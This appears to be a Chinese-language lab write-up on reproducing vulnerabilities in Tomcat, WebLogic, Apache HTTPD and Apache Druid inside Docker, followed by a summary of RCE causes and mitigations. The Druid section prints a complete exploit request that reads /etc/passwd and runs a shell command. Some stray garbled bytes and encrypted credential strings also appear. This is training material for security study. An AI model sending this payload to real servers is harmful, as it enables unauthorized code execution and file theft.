一、1.在vps安装docker和docker-compose
二、漏洞复现
1.Tomcat7+ 弱口令 && 后台getshell漏洞
2.weblogic 弱口令/任意文件读取
ÙÐâè P°úR#ôìþVä"O¡
{AES}VDHLmpIFsxhe5+CetHjC3Du768mgXgEeInws2SytpnqhqgWkdGFks2BYtSJzE3FrrjdLjKS9w24Krv0Ong11Bogvc8rPC6HC3eqZy8X5U8/jhzgwct+ZTRgagnYCb4zy
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
3.Apache HTTPD 换行解析漏洞(CVE-2017-15715)
4.Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
三、总结RCE漏洞的原理和利用条件及解决方案
1.RCE漏洞的原理:
RCE(Remote Code Execution,远程代码执行)漏洞允许攻击者在目标服务器上远程执行任意代码。这类漏洞通常源自程序未能正确验证或处理输入数据,导致攻击者能够注入并执行恶意代码。
RCE漏洞常见的触发机制包括:
1. 用户输入未被充分过滤**:应用程序未对用户输入进行严格的验证,攻击者可以通过构造恶意请求,将代码注入到应用程序中并执行。
2. 命令注入**:服务器执行系统命令时,未对传入的参数进行安全处理,攻击者可以通过在参数中嵌入恶意命令执行代码。
3. 反序列化漏洞**:不安全的对象反序列化可能导致恶意对象被执行,从而导致代码执行。
4. 文件上传漏洞**:上传可执行文件或脚本到服务器,并通过某种方式让其运行。
5. 远程服务调用漏洞**:如远程方法调用(RMI),允许攻击者通过网络传递恶意代码,并在目标机器上执行。
2.利用条件:
1. 目标存在输入点**:RCE通常依赖于能够向目标系统传递输入的功能,如表单、文件上传、HTTP请求等。
2. 缺乏有效的输入验证和过滤**:应用程序对用户输入的处理不严谨,允许恶意代码混入。
3. 目标系统具有执行代码的权限**:攻击者可以通过某种方式让恶意代码在目标系统上执行。
4. 网络访问**:攻击者需要能够通过网络与目标服务器交互。
RCE的典型利用方式:
- 构造恶意请求(如包含特定payload的HTTP请求)
- 上传并执行恶意文件(如Web Shell)
- 利用命令注入漏洞在操作系统级别执行系统命令
3.解决方案:
1. 输入验证与过滤**:在处理用户输入时,严格验证和过滤输入,防止恶意代码注入。应使用白名单验证模式,对输入的类型、长度和格式进行检查。
2. 最小权限原则**:应用程序应按照最小权限原则运行,限制进程或应用执行不必要的命令或代码。
3. 参数化查询**:在执行SQL或系统命令时,使用参数化查询避免命令注入漏洞。
4. 更新与补丁**:及时更新软件和系统补丁,修复已知的安全漏洞。
5. 使用安全库和框架**:选择安全性较高的库和框架,并利用它们提供的防护措施,如自动编码、过滤等。
6. 沙箱机制**:将不受信任的代码执行限制在受控的环境中(如容器、虚拟机或沙箱),以降低RCE的影响。
7. 反序列化防护**:避免对不受信任的数据进行反序列化操作,或者在反序列化前进行安全检查。